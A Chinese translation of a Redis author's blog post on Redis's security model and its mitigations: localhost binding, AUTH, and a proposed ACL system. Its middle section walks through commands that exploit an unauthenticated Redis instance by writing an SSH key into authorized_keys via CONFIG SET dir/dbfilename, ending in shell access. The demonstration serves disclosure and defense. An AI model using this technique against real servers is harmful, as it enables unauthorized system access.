关于 Redis 安全性的几点看法
重要编辑:Redis 3.2 通过实现 protected mode(保护模式)改进了安全性。详情请见此处:https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/
我时不时会收到有关 Redis 的安全报告。收到报告当然是好事,但奇怪的是,我通常收到的都是 Lua 沙箱逃逸、不安全的临时文件创建之类的问题,而 Redis 按照我们在这里的安全页面http://redis.io/topics/security中的说明,其设计本来就是:一旦暴露到外部世界,就完全不安全。
不过,这些漏洞报告往往仍然很有用,因为一般来说,任何软件,尤其是 Redis,都涉及不同层级的安全问题。如果你已经能够访问数据库,只是修改数据库本身的内容,或者入侵 Redis 所运行的本地系统,你分别能做什么?
系统中的某一安全层有多重要,取决于它的安全模型。比如,一个系统是否设计为允许不受信任的用户访问,就像 Web 服务器一样?是否针对不同类型的用户设置了不同级别的授权?
Redis 的安全模型是:“让不受信任的客户端访问系统是完全不安全的,请自行保护它免受外部世界的侵害。”原因基本在于,99.99% 的 Redis 使用场景都处于 sandboxed environment(沙箱环境)之中。安全性很复杂。增加安全功能就会增加复杂性。为了 0.01% 的使用场景而引入复杂性并不划算,但这属于设计理念问题,所以你当然也可以不同意。
问题在于,无论我们在安全页面上怎么声明,仍有大量 Redis 实例在无意中暴露于互联网。并不是因为使用场景要求外部客户端访问 Redis,而是因为没人费心通过配置防火墙、启用 AUTH、在只有本地客户端访问时将其绑定到 127.0.0.1,等等方式,来保护某个 Redis 实例免受外部访问。
既然我是这东西的开发者,那就来破解 Redis,纯属好玩,完全没有收益
为了以一种残酷的方式展示 Redis 的“安全模型”,我做了一个简短的五分钟实验。我们在安全页面中暗示过,如果 Redis 暴露出去,会有严重问题。你可以读到这样一段话:“然而,通过 CONFIG 命令控制服务器配置的能力,使客户端能够更改程序的工作目录和转储文件的名称。这允许客户端将 RDB Redis 文件写入任意路径,也就是说,这是一个安全问题,并且很容易导致以 Redis 运行用户的身份执行不受信任的代码。”
所以我的实验如下:我会在自己的 Macbook Air 上运行一个 Redis 实例,不对当前电脑配置做任何改动。现在从另一台主机发起攻击,我的目标是入侵自己的笔记本电脑。
首先,我们来检查能否访问这个实例,这是前提条件:
$ telnet 192.168.1.11 6379 Trying 192.168.1.11... Connected to 192.168.1.11. Escape character is '^]'. echo "Hey no AUTH required!" $21 Hey no AUTH required! quit +OK Connection closed by foreign host.
可以,而且不需要 AUTH。没有设置密码之类保护措施的 Redis 就是不受保护的。在这种情况下,最简单的操作就是写入任意文件。猜猜怎么着?我的 Macbook Air 恰好运行着 SSH 服务器。试着往 ~/ssh/authorized_keys 里写入一些内容,以获得访问权限怎么样?
我们先生成一个新的 SSH 密钥:
$ ssh-keygen -t rsa -C "[email protected]" Generating public/private rsa key pair. Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./id_rsa. Your public key has been saved in ./id_rsa.pub. The key fingerprint is: f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected] The key's randomart image is: +--[ RSA 2048]----+ | . O+.| | . o o..o*o| | = . + .+ . | | o B o . | | . o S E . | | . o | | | | | | | +-----------------+
现在我有了一把密钥。我的目标是先把它放进 Redis 服务器的内存中,之后再将它转移到一个文件里,并确保最终生成的 authorized_keys 文件仍然有效。使用 RDB 格式来做这件事有个问题:输出会是二进制的,而且理论上还可能压缩字符串。不过,也许这并不是问题。首先,在我生成的 SSH 公钥内容前后加上换行符:
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
现在 foo.txt 就是我们的公钥,只是前后多了换行符。我们可以使用 redis-cli 将这个字符串写入 Redis 内存:
~~~~~~~~~~~~~~~~~~~
注意:为了避免脚本小子直接复制粘贴并运行这次攻击,下面的步骤做了细微改动,因为这次攻击发布后,全球各地已经有多个 Redis 实例遭到入侵。
~~~~~~~~~~~~~~~~~~~
$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dbfilename "backup.rdb" OK 192.168.1.11:6379> save OK (Ctrl+C) $ redis-cli -h 192.168.1.11 echo flushall $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
看起来不错。怎样把内存中的内容转储到 authorized_keys 文件里?这相当简单。
$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /Users/antirez/.ssh/ OK 192.168.1.11:6379> config get dir 1) "dir" 2) "/Users/antirez/.ssh" 192.168.1.11:6379> config set dbfilename "authorized.keys" OK 192.168.1.11:6379> save OK
此时,目标 authorized keys 文件应该充满了垃圾内容,但也应该包含我们的公钥。这个字符串没有简单的模式,因此不太可能在 RDB 文件中被压缩。SSH 会不会天真到在不出问题的情况下解析一个完全损坏的文件,并接受其中唯一有效的条目?
$ ssh -i id_rsa [email protected] Enter passphrase for key 'id_rsa': Last login: Mon Nov 2 15:58:43 2015 from 192.168.1.10 ~ ➤ hostname Salvatores-MacBook-Air.local
会。我成功地以 Redis 用户身份获得了访问权限,还拥有一个正常的 shell,整个过程大约只用了五秒钟。这要归功于一个未受保护的 Redis 实例——它基本上成了一个按需写入任意文件的服务器;在本例中,还要归咎于 SSH 不够保守,没有拒绝访问一个几乎全部由损坏的密钥组成、但恰好包含一个有效条目的文件。不过,SSH 并不是问题所在:一旦你能够写入文件,即使文件中包含二进制垃圾内容,也只是时间问题,你迟早会通过某种方式获得系统访问权限。
如何解决这个烂摊子?
我们说过,如果 Redis 暴露出去,它就是不安全的;Redis 的安全模型是只允许经过授权且受信任的客户端访问。但遗憾的是,这还不够。用户仍然会在没有保护的情况下运行它。更糟的是,在让 Redis 能够抵御部署错误与让 Redis 对那些只是在开发环境中使用它、或是在不需要这些限制的安全环境中使用它的人更易用之间,存在着矛盾。
举个例子。较新版本的 Redis 自带的示例 redis.conf 默认设置为“bind 127.0.0.1”。如果你不带参数运行服务器,它仍然会绑定所有接口,因为我不想给那些很可能只是为了开发而运行 Redis 的用户添麻烦。为了允许其他主机连接而必须重新配置一个示例服务器,对那些并不在意安全性的人来说,付出的代价有点太大,而换来的安全性却很少。不过,许多用户会以它为模板进行配置的示例 redis.conf 默认绑定本地主机接口。希望这样能减少部署错误。
然而,这些措施并不十分有效,因为遗憾的是,大多数不了解安全性的用户发现绑定 127.0.0.1 导致外部客户端无法连接后,会做的事情只是删除 bind 行,然后重启。于是我们又回到了不安全的配置。
基本上,问题在于要在以下三件事之间找到折中:
- 让知道自己在做什么的人能够毫无烦恼地访问 Redis。
- 让不知道自己在做什么的人使用 Redis 时不那么不安全。
- 我因为相信 RTFM 而偏向于“1”而不是“2”。
使用 Users ACLs(用户访问控制列表)缓解问题
要强化 Redis 与外部世界隔离这一理念,一种方法是使用 AUTH 命令。它非常简单:配置 Redis,使其要求密码,然后客户端通过 AUTH 命令使用已配置的密码进行身份验证。其机制很简单:密码不会经过哈希处理,而是以明文形式写在配置文件和应用程序中,因此它本质上就是一个共享密钥。
虽然这无法抵御嗅探 TCP 连接或入侵应用服务器的人,但它可以有效防范一种明显的错误:把未受保护的 Redis 实例留在互联网上。
关于 AUTH,有几点需要说明:
- 你可以把 Redis 当作 oracle(预言机),每秒测试大量密码,但密码不需要存储在人脑中,只需存放在 Redis 配置文件和客户端配置中即可。因此,应选择一个非常长、几乎不可能被 brute force(暴力破解)的密码。
- AUTH 会在建立连接时发送,而大多数正常的应用都会使用持久连接,因此它的代价非常小。它本身也是一个执行速度极快的命令,就像 GET 或 SET 一样,不会访问磁盘或其他外部系统。
- 即使在良好隔离的环境中,它也仍然是一层很好的保护。某个实例可能因为错误而暴露出去;即使不是暴露到互联网,至少也可能暴露给本不应与之通信的客户端。
也许,演进 AUTH 是获得更高安全性的正确道路。因此前段时间我发布了一份提案,建议在 Redis 中加入“真正的用户”:https://github.com/redis/redis-rcp/blob/master/RCP1.md
这份提案基本上加入了带 ACL 的用户。它在工作方式和执行速度上与 AUTH 非常相似,但不同用户拥有不同的能力。例如,普通用户默认无法访问管理命令,因此他们不能执行“CONFIG SET dir”,也就不会出现上面的漏洞。
默认用户仍然可以运行普通命令(所以人们发给我的那些关于 Lua 沙箱的问题修复确实非常有用),而要使用管理命令,必须配置一个 admin 用户。不过,为了让 Redis 更易用,我们可以始终设置一个空密码的“admin”用户;如果连接来自 loopback interface(回环接口),就允许该用户通过验证(但应该能够禁用此功能)。
ACL 虽然并不完美,但有一些优势。当 Redis 以正确的方式暴露在互联网上、通过 SSL 代理时,额外增加一层访问控制非常有用。即使不使用 SSL、因为只有本地客户端,采用更细粒度的控制来限制客户端能做什么,也有诸多好处。例如,它可以防止编程或管理错误:可以禁止普通用户执行 FLUSHALL 和 FLUSHDB;Redis 监控服务的客户端可以使用一个只允许执行少数指定命令的用户,等等。
那些不在意保护自己实例的用户,仍然会拥有一个可从外部访问的数据库;但其中不会提供管理命令。这对于数据库内部包含的数据而言仍然是不安全的,但从运行 Redis 实例的系统角度看,会更加安全。
基本上,不可能让 Redis 默认就对用户友好,同时又能抵御用户将实例绑定到公共 IP 地址这一重大安全错误。不过,修复 API 中可能允许以 Redis 进程相同权限执行不受信任代码的漏洞,提供更加保守的默认配置,并实现带 ACL 的多用户机制,都可以改善 Redis 当前的安全状态,而且不会对那些知道自己在做什么的普通 Redis 用户的使用体验造成太大影响。
此外,ACL 还允许应用开发者创建与特定客户端在应用逻辑上下文中实际权限相匹配的用户,从而降低因错误导致严重问题的可能性。
即使是这样简单的一层安全机制,也有一个缺点:它会增加复杂性,尤其是在 replication(复制)、Redis Sentinel 以及其他系统的环境中。为了在新的上下文中正常工作,这些系统都必须能够理解身份验证。不过,这很可能是一项必须逐步完成的工作。
Hacker News:https://news.ycombinator.com/item?id=10537852
Reddit:https://www.reddit.com/r/redis/comments/3rby8c/a_few_things_about_redis_security/
随机一篇博客